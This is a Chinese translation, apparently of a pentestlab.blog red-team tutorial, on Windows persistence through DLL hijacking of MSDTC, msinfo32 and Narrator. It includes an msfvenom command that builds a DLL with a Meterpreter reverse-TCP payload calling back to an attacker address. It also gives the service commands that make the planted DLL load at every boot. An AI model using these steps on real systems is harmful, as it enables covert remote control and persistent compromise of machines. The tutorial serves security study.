持久性 - DLL劫持

  • 持久性 - DLL劫持已关闭评论
  • 21 views
  • A+

概述

原文:
https://pentestlab.blog/2020/03/04/persistence-dll-hijacking/
by Administrator.In Persistence.Leave a Comment
当一个程序启动时,许多DLL会被加载到它的进程的内存空间中。Windows通过按特定顺序查找系统文件夹来搜索进程所需的DLL。劫持搜索顺序可以在红队方案中使用,以识别privilege escalation升级和持久性机会。
此外,有报告显示,常见的恶意软件试图伪装成Windows进程中缺失的DLL,以便执行任意代码并保持隐藏。关于DLL劫持的攻击面是巨大的,取决于操作系统的版本和安装的软件。然而本文介绍了一些可以在Windows 7和Windows 10中使用的最显著的。

MSDTC

分布式事务协调器是一个windows服务,负责协调数据库(SQL Server)和Web服务器之间的事务。当该服务启动时,会尝试从System32加载以下三个DLL文件。
1. oci.dll
2. SQLLib80.dll
3. xa80.dll
这些在以下注册表项中定义:
language
HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\MSDTC\\MTxOCI

image.png
在默认的Windows安装中,System32文件夹中缺少 "oci.dll"。这就提供了一个机会,可以将一个任意的DLL文件植入到这个文件夹中,这个DLL文件将具有相同的名称(需要管理员权限),以便执行恶意代码。Metasploit实用程序 "msfvenom "可以生成包含有效载荷的DLL文件。
language
msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=10.0.0.13 LPORT=8888 -f dll > pentestlab.dll

image.png
可以从Windows服务或通过提升的Shell执行以下命令来启动分布式事务处理协调器服务:
net start msdtc

image.png
当进程启动时,任意DLL将被执行,一个Meterpreter会话将以网络服务的权限打开。

image.png
在进程资源管理器中查看 "msdtc.exe "进程将验证DLL是否被加载到进程中。

image.png
如果以管理员身份运行命令提示符执行以下内容,可以将权限修改为管理员。
language
msdtc -install

image.png
从Meterpreter会话中执行 "getuid "将验证它现在正在 "pentestlab "下运行的进程,该进程是一个本地管理员。

image.png
msdtc "服务默认没有被配置为在开机自启,因为启动类型被设置为 "手动"。配置服务在启动时自动启动将加载任意DLL,并在系统上创建持久性
language
sc qc msdtc
sc config msdtc start= auto

image.png

MSINFO

Adam在2013年的博客中写道, phantom DLL hijacking是一种依靠从缺少特定DLL的Windows进程中加载任意DLL的技术。微软系统信息工具负责收集硬件、软件和系统组件的信息。在现代Windows版本中,如8.1和10,该进程正试图从System32加载一个名为 "fveapi.dll "的缺失DLL。在该目录中植入一个与它同名的恶意DLL,其结果将有DLL被加载到 "msinfo32.exe "进程中。

image.png
一个PID为4496的Meterpreter会话,是 "msinfo32.exe "的子进程。

image.png

Narrator (扩展知识)

Microsoft Narrator是用于Windows环境的屏幕阅读应用程序。 亚当(Adam)发现缺少与本地化设置相关的DLL(MSTTSLocEnUS.DLL),并且该DLL也可能被滥用以执行任意代码。 该DLL从以下位置缺失:
language
C:\\Windows\\System32\\Speech\\Engines\\TTS\\MSTTSLocEnUS.DLL

image.png
当 "Narrator.exe "进程启动时,DLL将被加载到该进程中,因为它可以从进程资源管理器中看到。

image.png

参考文献